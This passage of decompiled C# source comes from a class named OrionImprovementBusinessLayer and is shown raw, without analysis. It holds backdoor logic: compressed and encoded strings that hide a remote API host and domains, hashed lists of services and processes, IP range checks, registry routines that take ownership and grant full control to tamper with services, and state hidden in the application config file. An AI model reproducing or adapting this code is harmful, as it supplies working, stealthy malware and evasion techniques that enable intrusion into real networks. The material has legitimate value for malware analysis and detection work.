timeStamp = 14079676299181301772UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 17939405613729073960UL, | |
DefaultValue = 1U | |
} | |
} | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration | |
{ | |
timeStamps = new ulong[] | |
{ | |
521157249538507889UL, | |
14971809093655817917UL, | |
10545868833523019926UL, | |
15039834196857999838UL, | |
14055243717250701608UL, | |
5587557070429522647UL, | |
12445177985737237804UL, | |
17978774977754553159UL, | |
17017923349298346219UL | |
}, | |
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[] | |
{ | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 17624147599670377042UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 16066651430762394116UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 13655261125244647696UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 12445177985737237804UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 3421213182954201407UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 14243671177281069512UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 16112751343173365533UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 3425260965299690882UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 9333057603143916814UL, | |
DefaultValue = 0U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 3413886037471417852UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 7315838824213522000UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 13783346438774742614UL, | |
DefaultValue = 4U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 2380224015317016190UL, | |
DefaultValue = 4U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 3413052607651207697UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 3407972863931386250UL, | |
DefaultValue = 1U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 10393903804869831898UL, | |
DefaultValue = 3U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 12445232961318634374UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 3421197789791424393UL, | |
DefaultValue = 2U | |
}, | |
new OrionImprovementBusinessLayer.ServiceConfiguration.Service | |
{ | |
timeStamp = 541172992193764396UL, | |
DefaultValue = 2U | |
} | |
} | |
} | |
}; | |
// Token: 0x0400002A RID: 42 | |
private static readonly OrionImprovementBusinessLayer.IPAddressesHelper[] nList = new OrionImprovementBusinessLayer.IPAddressesHelper[] | |
{ | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzTQA0MA"), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMAQQA="), OrionImprovementBusinessLayer.AddressFamilyEx.Atm), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzQ30jM00zPQMwAA"), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMyMdADQgA="), OrionImprovementBusinessLayer.AddressFamilyEx.Atm), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("M7Q00jM0s9Az0DMAAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMCYgM9AwA="), OrionImprovementBusinessLayer.AddressFamilyEx.Atm), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzIy0TMAQQA="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzIx0ANDAA=="), OrionImprovementBusinessLayer.AddressFamilyEx.Atm), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("S0s2MLCyAgA="), OrionImprovementBusinessLayer.ZipHelper.Unzip("S0s1MLCyAgA="), OrionImprovementBusinessLayer.AddressFamilyEx.Atm), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("S0tNNrCyAgA="), OrionImprovementBusinessLayer.ZipHelper.Unzip("S0tLNrCyAgA="), OrionImprovementBusinessLayer.AddressFamilyEx.Atm), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("S0szMLCyAgA="), OrionImprovementBusinessLayer.ZipHelper.Unzip("S0szMLCyAgA="), OrionImprovementBusinessLayer.AddressFamilyEx.Atm), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzHUszDRMzS11DMAAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementBusinessLayer.AddressFamilyEx.Ipx), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzfRMzQ00TMy0TMAAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMCYRMLPQMA"), OrionImprovementBusinessLayer.AddressFamilyEx.Ipx), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzQ10TM0tNAzNDHQMwAA"), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementBusinessLayer.AddressFamilyEx.Ipx), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI01zM0M9Yz1zMAAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementBusinessLayer.AddressFamilyEx.Ipx), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzLQMzQx0ANCAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMyNdEz0DMAAA=="), OrionImprovementBusinessLayer.AddressFamilyEx.ImpLink), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("szTTMzbUMzQ30jMAAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementBusinessLayer.AddressFamilyEx.ImpLink), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzQ21DMystAzNNIzAAA="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMCYyM9AwA="), OrionImprovementBusinessLayer.AddressFamilyEx.ImpLink), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzQx0bMw0zMyMtMzAAA="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementBusinessLayer.AddressFamilyEx.ImpLink), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("s9AztNAzNDHRMwAA"), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMCYxM9AwA="), OrionImprovementBusinessLayer.AddressFamilyEx.NetBios), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("M7TQMzQ20ANCAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMCYgM9AwA="), OrionImprovementBusinessLayer.AddressFamilyEx.NetBios, true), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("MzfUMzQ10jM11jMAAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementBusinessLayer.AddressFamilyEx.NetBios), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("s7TUM7fUM9AzAAA="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMCYgM9AwA="), OrionImprovementBusinessLayer.AddressFamilyEx.NetBios, true), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("szDXMzK20LMw0DMAAA=="), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMCYRMLPQMA"), OrionImprovementBusinessLayer.AddressFamilyEx.NetBios), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("M7S01DMyMNQzNDTXMwAA"), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TOCYgMA"), OrionImprovementBusinessLayer.AddressFamilyEx.NetBios), | |
new OrionImprovementBusinessLayer.IPAddressesHelper(OrionImprovementBusinessLayer.ZipHelper.Unzip("M7Qw0TM30jPQMwAA"), OrionImprovementBusinessLayer.ZipHelper.Unzip("MzI11TMyNdEz0DMAAA=="), OrionImprovementBusinessLayer.AddressFamilyEx.NetBios, true) | |
}; | |
// Token: 0x0400002B RID: 43 | |
private static readonly ulong[] patternHashes = new ulong[] | |
{ | |
1109067043404435916UL, | |
15267980678929160412UL, | |
8381292265993977266UL, | |
3796405623695665524UL, | |
8727477769544302060UL, | |
10734127004244879770UL, | |
11073283311104541690UL, | |
4030236413975199654UL, | |
7701683279824397773UL, | |
5132256620104998637UL, | |
5942282052525294911UL, | |
4578480846255629462UL, | |
16858955978146406642UL | |
}; | |
// Token: 0x0400002C RID: 44 | |
private static readonly string[] patternList = new string[] | |
{ | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("07DP1NSIjkvUrYqtidPUKEktLoHzVTQB"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("07DP1NQozs9JLCrPzEsp1gQA") | |
}; | |
// Token: 0x0400002D RID: 45 | |
private static readonly string reportStatusName = OrionImprovementBusinessLayer.ZipHelper.Unzip("C0otyC8qCU8sSc5ILQpKLSmqBAA="); | |
// Token: 0x0400002E RID: 46 | |
private static readonly string serviceStatusName = OrionImprovementBusinessLayer.ZipHelper.Unzip("C0otyC8qCU8sSc5ILQrILy4pyM9LBQA="); | |
// Token: 0x0400002F RID: 47 | |
private static string userAgentOrionImprovementClient = null; | |
// Token: 0x04000030 RID: 48 | |
private static string userAgentDefault = null; | |
// Token: 0x04000031 RID: 49 | |
private static readonly string apiHost = OrionImprovementBusinessLayer.ZipHelper.Unzip("SyzI1CvOz0ksKs/MSynWS87PBQA="); | |
// Token: 0x04000032 RID: 50 | |
private static readonly string domain1 = OrionImprovementBusinessLayer.ZipHelper.Unzip("SywrLstNzskvTdFLzs8FAA=="); | |
// Token: 0x04000033 RID: 51 | |
private static readonly string domain2 = OrionImprovementBusinessLayer.ZipHelper.Unzip("SywoKK7MS9ZNLMgEAA=="); | |
// Token: 0x04000034 RID: 52 | |
private static readonly string[] domain3 = new string[] | |
{ | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("Sy3VLU8tLtE1BAA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("Ky3WLU8tLtE1AgA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("Ky3WTU0sLtE1BAA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("Ky3WTU0sLtE1AgA=") | |
}; | |
// Token: 0x04000035 RID: 53 | |
private static readonly string appId = OrionImprovementBusinessLayer.ZipHelper.Unzip("M7UwTkm0NDHVNTNKTNM1NEi10DWxNDDSTbRIMzIwTTY3SjJKBQA="); | |
// Token: 0x04000036 RID: 54 | |
private static OrionImprovementBusinessLayer.ReportStatus status = OrionImprovementBusinessLayer.ReportStatus.New; | |
// Token: 0x04000037 RID: 55 | |
private static string domain4 = null; | |
// Token: 0x04000038 RID: 56 | |
private static byte[] userId = null; | |
// Token: 0x04000039 RID: 57 | |
private static NamedPipeServerStream instance = null; | |
// Token: 0x0400003A RID: 58 | |
private const int minInterval = 30; | |
// Token: 0x0400003B RID: 59 | |
private const int maxInterval = 120; | |
// Token: 0x0400003C RID: 60 | |
private static string osVersion = null; | |
// Token: 0x0400003D RID: 61 | |
private static string osInfo = null; | |
// Token: 0x020000CB RID: 203 | |
private enum ReportStatus | |
{ | |
// Token: 0x040002D3 RID: 723 | |
New, | |
// Token: 0x040002D4 RID: 724 | |
Append, | |
// Token: 0x040002D5 RID: 725 | |
Truncate | |
} | |
// Token: 0x020000CC RID: 204 | |
private enum AddressFamilyEx | |
{ | |
// Token: 0x040002D7 RID: 727 | |
NetBios, | |
// Token: 0x040002D8 RID: 728 | |
ImpLink, | |
// Token: 0x040002D9 RID: 729 | |
Ipx, | |
// Token: 0x040002DA RID: 730 | |
InterNetwork, | |
// Token: 0x040002DB RID: 731 | |
InterNetworkV6, | |
// Token: 0x040002DC RID: 732 | |
Unknown, | |
// Token: 0x040002DD RID: 733 | |
Atm, | |
// Token: 0x040002DE RID: 734 | |
Error | |
} | |
// Token: 0x020000CD RID: 205 | |
private enum HttpOipMethods | |
{ | |
// Token: 0x040002E0 RID: 736 | |
Get, | |
// Token: 0x040002E1 RID: 737 | |
Head, | |
// Token: 0x040002E2 RID: 738 | |
Put, | |
// Token: 0x040002E3 RID: 739 | |
Post | |
} | |
// Token: 0x020000CE RID: 206 | |
private enum ProxyType | |
{ | |
// Token: 0x040002E5 RID: 741 | |
Manual, | |
// Token: 0x040002E6 RID: 742 | |
System, | |
// Token: 0x040002E7 RID: 743 | |
Direct, | |
// Token: 0x040002E8 RID: 744 | |
Default | |
} | |
// Token: 0x020000CF RID: 207 | |
private static class RegistryHelper | |
{ | |
// Token: 0x06000966 RID: 2406 RVA: 0x00042A60 File Offset: 0x00040C60 | |
private static RegistryHive GetHive(string key, out string subKey) | |
{ | |
string[] array = key.Split(new char[] | |
{ | |
'\\' | |
}, 2); | |
string a = array[0].ToUpper(); | |
subKey = ((array.Length <= 1) ? "" : array[1]); | |
if (a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2jYx39nEMDnYNjg/y9w8BAA==") || a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2DgIA")) | |
{ | |
return RegistryHive.ClassesRoot; | |
} | |
if (a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2jYx3Dg0KcvULiQ8Ndg0CAA==") || a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2DgUA")) | |
{ | |
return RegistryHive.CurrentUser; | |
} | |
if (a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2jYz38Xd29In3dXT28PRzBQA=") || a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/D28QUA")) | |
{ | |
return RegistryHive.LocalMachine; | |
} | |
if (a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2jYwPDXYNCgYA") || a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/AOBQA=")) | |
{ | |
return RegistryHive.Users; | |
} | |
if (a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2jYx3Dg0KcvULiXf293PzdAcA") || a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2dgYA")) | |
{ | |
return RegistryHive.CurrentConfig; | |
} | |
if (a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2jYwPcA1y8/d19HN2jXdxDHEEAA==") || a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/AOcAEA")) | |
{ | |
return RegistryHive.PerformanceData; | |
} | |
if (a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2jYx3ifSLd3EMcQQA") || a == OrionImprovementBusinessLayer.ZipHelper.Unzip("8/B2cQEA")) | |
{ | |
return RegistryHive.DynData; | |
} | |
return (RegistryHive)0; | |
} | |
// Token: 0x06000967 RID: 2407 RVA: 0x00042BC4 File Offset: 0x00040DC4 | |
public static bool SetValue(string key, string valueName, string valueData, RegistryValueKind valueKind) | |
{ | |
string name; | |
bool result; | |
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(OrionImprovementBusinessLayer.RegistryHelper.GetHive(key, out name), RegistryView.Registry64)) | |
{ | |
using (RegistryKey registryKey2 = registryKey.OpenSubKey(name, true)) | |
{ | |
switch (valueKind) | |
{ | |
case RegistryValueKind.String: | |
case RegistryValueKind.ExpandString: | |
case RegistryValueKind.DWord: | |
case RegistryValueKind.QWord: | |
registryKey2.SetValue(valueName, valueData, valueKind); | |
goto IL_98; | |
case RegistryValueKind.Binary: | |
registryKey2.SetValue(valueName, OrionImprovementBusinessLayer.HexStringToByteArray(valueData), valueKind); | |
goto IL_98; | |
case RegistryValueKind.MultiString: | |
registryKey2.SetValue(valueName, valueData.Split(new string[] | |
{ | |
"\r\n", | |
"\n" | |
}, StringSplitOptions.None), valueKind); | |
goto IL_98; | |
} | |
return false; | |
IL_98: | |
result = true; | |
} | |
} | |
return result; | |
} | |
// Token: 0x06000968 RID: 2408 RVA: 0x00042CA0 File Offset: 0x00040EA0 | |
public static string GetValue(string key, string valueName, object defaultValue) | |
{ | |
string name; | |
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(OrionImprovementBusinessLayer.RegistryHelper.GetHive(key, out name), RegistryView.Registry64)) | |
{ | |
using (RegistryKey registryKey2 = registryKey.OpenSubKey(name)) | |
{ | |
object value = registryKey2.GetValue(valueName, defaultValue); | |
if (value != null) | |
{ | |
if (value.GetType() == typeof(byte[])) | |
{ | |
return OrionImprovementBusinessLayer.ByteArrayToHexString((byte[])value); | |
} | |
if (value.GetType() == typeof(string[])) | |
{ | |
return string.Join("\n", (string[])value); | |
} | |
return value.ToString(); | |
} | |
} | |
} | |
return null; | |
} | |
// Token: 0x06000969 RID: 2409 RVA: 0x00042D68 File Offset: 0x00040F68 | |
public static void DeleteValue(string key, string valueName) | |
{ | |
string name; | |
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(OrionImprovementBusinessLayer.RegistryHelper.GetHive(key, out name), RegistryView.Registry64)) | |
{ | |
using (RegistryKey registryKey2 = registryKey.OpenSubKey(name, true)) | |
{ | |
registryKey2.DeleteValue(valueName, true); | |
} | |
} | |
} | |
// Token: 0x0600096A RID: 2410 RVA: 0x00042DCC File Offset: 0x00040FCC | |
public static string GetSubKeyAndValueNames(string key) | |
{ | |
string name; | |
string result; | |
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(OrionImprovementBusinessLayer.RegistryHelper.GetHive(key, out name), RegistryView.Registry64)) | |
{ | |
using (RegistryKey registryKey2 = registryKey.OpenSubKey(name)) | |
{ | |
result = string.Join("\n", registryKey2.GetSubKeyNames()) + "\n\n" + string.Join(" \n", registryKey2.GetValueNames()); | |
} | |
} | |
return result; | |
} | |
// Token: 0x0600096B RID: 2411 RVA: 0x00042E54 File Offset: 0x00041054 | |
private static string GetNewOwnerName() | |
{ | |
string text = null; | |
string value = OrionImprovementBusinessLayer.ZipHelper.Unzip("C9Y11DXVBQA="); | |
string value2 = OrionImprovementBusinessLayer.ZipHelper.Unzip("0zU1MAAA"); | |
try | |
{ | |
text = new NTAccount(OrionImprovementBusinessLayer.ZipHelper.Unzip("c0zJzczLLC4pSizJLwIA")).Translate(typeof(SecurityIdentifier)).Value; | |
} | |
catch | |
{ | |
} | |
if (string.IsNullOrEmpty(text) || !text.StartsWith(value, StringComparison.OrdinalIgnoreCase) || !text.EndsWith(value2, StringComparison.OrdinalIgnoreCase)) | |
{ | |
string queryString = OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNooPLU4tckxOzi/NKwEA"); | |
text = null; | |
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(queryString)) | |
{ | |
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) | |
{ | |
ManagementObject managementObject = (ManagementObject)managementBaseObject; | |
string text2 = managementObject.Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("C/Z0AQA=")].Value.ToString(); | |
if (managementObject.Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("88lPTsxxTE7OL80rAQA=")].Value.ToString().ToLower() == OrionImprovementBusinessLayer.ZipHelper.Unzip("KykqTQUA") && text2.StartsWith(value, StringComparison.OrdinalIgnoreCase)) | |
{ | |
if (text2.EndsWith(value2, StringComparison.OrdinalIgnoreCase)) | |
{ | |
text = text2; | |
break; | |
} | |
if (string.IsNullOrEmpty(text)) | |
{ | |
text = text2; | |
} | |
} | |
} | |
} | |
} | |
return new SecurityIdentifier(text).Translate(typeof(NTAccount)).Value; | |
} | |
// Token: 0x0600096C RID: 2412 RVA: 0x00042FD4 File Offset: 0x000411D4 | |
private static void SetKeyOwner(RegistryKey key, string subKey, string owner) | |
{ | |
using (RegistryKey registryKey = key.OpenSubKey(subKey, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership)) | |
{ | |
RegistrySecurity registrySecurity = new RegistrySecurity(); | |
registrySecurity.SetOwner(new NTAccount(owner)); | |
registryKey.SetAccessControl(registrySecurity); | |
} | |
} | |
// Token: 0x0600096D RID: 2413 RVA: 0x00043024 File Offset: 0x00041224 | |
private static void SetKeyOwnerWithPrivileges(RegistryKey key, string subKey, string owner) | |
{ | |
try | |
{ | |
OrionImprovementBusinessLayer.RegistryHelper.SetKeyOwner(key, subKey, owner); | |
} | |
catch | |
{ | |
bool newState = false; | |
bool newState2 = false; | |
bool flag = false; | |
bool flag2 = false; | |
string privilege = OrionImprovementBusinessLayer.ZipHelper.Unzip("C04NSi0uyS9KDSjKLMvMSU1PBQA="); | |
string privilege2 = OrionImprovementBusinessLayer.ZipHelper.Unzip("C04NScxO9S/PSy0qzsgsCCjKLMvMSU1PBQA="); | |
flag = OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege2, true, out newState); | |
flag2 = OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, true, out newState2); | |
try | |
{ | |
OrionImprovementBusinessLayer.RegistryHelper.SetKeyOwner(key, subKey, owner); | |
} | |
finally | |
{ | |
if (flag) | |
{ | |
OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege2, newState, out newState); | |
} | |
if (flag2) | |
{ | |
OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, newState2, out newState2); | |
} | |
} | |
} | |
} | |
// Token: 0x0600096E RID: 2414 RVA: 0x000430B8 File Offset: 0x000412B8 | |
public static void SetKeyPermissions(RegistryKey key, string subKey, bool reset) | |
{ | |
bool isProtected = !reset; | |
string text = OrionImprovementBusinessLayer.ZipHelper.Unzip("C44MDnH1BQA="); | |
string text2 = reset ? text : OrionImprovementBusinessLayer.RegistryHelper.GetNewOwnerName(); | |
OrionImprovementBusinessLayer.RegistryHelper.SetKeyOwnerWithPrivileges(key, subKey, text); | |
using (RegistryKey registryKey = key.OpenSubKey(subKey, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.ChangePermissions)) | |
{ | |
RegistrySecurity registrySecurity = new RegistrySecurity(); | |
if (!reset) | |
{ | |
RegistryAccessRule rule = new RegistryAccessRule(text2, RegistryRights.FullControl, InheritanceFlags.None, PropagationFlags.NoPropagateInherit, AccessControlType.Allow); | |
registrySecurity.AddAccessRule(rule); | |
} | |
registrySecurity.SetAccessRuleProtection(isProtected, false); | |
registryKey.SetAccessControl(registrySecurity); | |
} | |
if (!reset) | |
{ | |
OrionImprovementBusinessLayer.RegistryHelper.SetKeyOwnerWithPrivileges(key, subKey, text2); | |
} | |
} | |
} | |
// Token: 0x020000D0 RID: 208 | |
private static class ConfigManager | |
{ | |
// Token: 0x0600096F RID: 2415 RVA: 0x00043154 File Offset: 0x00041354 | |
public static bool ReadReportStatus(out OrionImprovementBusinessLayer.ReportStatus status) | |
{ | |
try | |
{ | |
string s; | |
int num; | |
if (OrionImprovementBusinessLayer.ConfigManager.ReadConfig(OrionImprovementBusinessLayer.reportStatusName, out s) && int.TryParse(s, out num)) | |
{ | |
switch (num) | |
{ | |
case 3: | |
status = OrionImprovementBusinessLayer.ReportStatus.Truncate; | |
return true; | |
case 4: | |
status = OrionImprovementBusinessLayer.ReportStatus.New; | |
return true; | |
case 5: | |
status = OrionImprovementBusinessLayer.ReportStatus.Append; | |
return true; | |
} | |
} | |
} | |
catch (ConfigurationErrorsException) | |
{ | |
} | |
status = OrionImprovementBusinessLayer.ReportStatus.New; | |
return false; | |
} | |
// Token: 0x06000970 RID: 2416 RVA: 0x000431C0 File Offset: 0x000413C0 | |
public static bool ReadServiceStatus(bool _readonly) | |
{ | |
try | |
{ | |
string s; | |
int num; | |
if (OrionImprovementBusinessLayer.ConfigManager.ReadConfig(OrionImprovementBusinessLayer.serviceStatusName, out s) && int.TryParse(s, out num) && num >= 250 && num % 5 == 0 && num <= 250 + ((1 << OrionImprovementBusinessLayer.svcList.Length) - 1) * 5) | |
{ | |
num = (num - 250) / 5; | |
if (!_readonly) | |
{ | |
for (int i = 0; i < OrionImprovementBusinessLayer.svcList.Length; i++) | |
{ | |
OrionImprovementBusinessLayer.svcList[i].stopped = ((num & 1 << i) != 0); | |
} | |
} | |
return true; | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
if (!_readonly) | |
{ | |
for (int j = 0; j < OrionImprovementBusinessLayer.svcList.Length; j++) | |
{ | |
OrionImprovementBusinessLayer.svcList[j].stopped = true; | |
} | |
} | |
return false; | |
} | |
// Token: 0x06000971 RID: 2417 RVA: 0x00043284 File Offset: 0x00041484 | |
public static bool WriteReportStatus(OrionImprovementBusinessLayer.ReportStatus status) | |
{ | |
OrionImprovementBusinessLayer.ReportStatus reportStatus; | |
if (OrionImprovementBusinessLayer.ConfigManager.ReadReportStatus(out reportStatus)) | |
{ | |
switch (status) | |
{ | |
case OrionImprovementBusinessLayer.ReportStatus.New: | |
return OrionImprovementBusinessLayer.ConfigManager.WriteConfig(OrionImprovementBusinessLayer.reportStatusName, OrionImprovementBusinessLayer.ZipHelper.Unzip("MwEA")); | |
case OrionImprovementBusinessLayer.ReportStatus.Append: | |
return OrionImprovementBusinessLayer.ConfigManager.WriteConfig(OrionImprovementBusinessLayer.reportStatusName, OrionImprovementBusinessLayer.ZipHelper.Unzip("MwUA")); | |
case OrionImprovementBusinessLayer.ReportStatus.Truncate: | |
return OrionImprovementBusinessLayer.ConfigManager.WriteConfig(OrionImprovementBusinessLayer.reportStatusName, OrionImprovementBusinessLayer.ZipHelper.Unzip("MwYA")); | |
} | |
} | |
return false; | |
} | |
// Token: 0x06000972 RID: 2418 RVA: 0x000432F0 File Offset: 0x000414F0 | |
public static bool WriteServiceStatus() | |
{ | |
if (OrionImprovementBusinessLayer.ConfigManager.ReadServiceStatus(true)) | |
{ | |
int num = 0; | |
for (int i = 0; i < OrionImprovementBusinessLayer.svcList.Length; i++) | |
{ | |
num |= (OrionImprovementBusinessLayer.svcList[i].stopped ? 1 : 0) << i; | |
} | |
return OrionImprovementBusinessLayer.ConfigManager.WriteConfig(OrionImprovementBusinessLayer.serviceStatusName, (num * 5 + 250).ToString()); | |
} | |
return false; | |
} | |
// Token: 0x06000973 RID: 2419 RVA: 0x00043350 File Offset: 0x00041550 | |
private static bool ReadConfig(string key, out string sValue) | |
{ | |
sValue = null; | |
try | |
{ | |
sValue = ConfigurationManager.AppSettings[key]; | |
return true; | |
} | |
catch (Exception) | |
{ | |
} | |
return false; | |
} | |
// Token: 0x06000974 RID: 2420 RVA: 0x00043388 File Offset: 0x00041588 | |
private static bool WriteConfig(string key, string sValue) | |
{ | |
try | |
{ | |
Configuration configuration = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None); | |
KeyValueConfigurationCollection settings = configuration.AppSettings.Settings; | |
if (settings[key] != null) | |
{ | |
settings[key].Value = sValue; | |
configuration.Save(ConfigurationSaveMode.Modified); | |
ConfigurationManager.RefreshSection(configuration.AppSettings.SectionInformation.Name); | |
return true; | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
return false; | |
} | |
} | |
// Token: 0x020000D1 RID: 209 | |
private class ServiceConfiguration | |
{ | |
// Token: 0x1700012E RID: 302 | |
// (get) Token: 0x06000975 RID: 2421 RVA: 0x000433F8 File Offset: 0x000415F8 | |
// (set) Token: 0x06000976 RID: 2422 RVA: 0x0004343C File Offset: 0x0004163C | |
public bool stopped | |
{ | |
get | |
{ | |
object @lock = this._lock; | |
bool stopped; | |
lock (@lock) | |
{ | |
stopped = this._stopped; | |
} | |
return stopped; | |
} | |
set | |
{ | |
object @lock = this._lock; | |
lock (@lock) | |
{ | |
this._stopped = value; | |
} | |
} | |
} | |
// Token: 0x1700012F RID: 303 | |
// (get) Token: 0x06000977 RID: 2423 RVA: 0x00043480 File Offset: 0x00041680 | |
// (set) Token: 0x06000978 RID: 2424 RVA: 0x000434C4 File Offset: 0x000416C4 | |
public bool running | |
{ | |
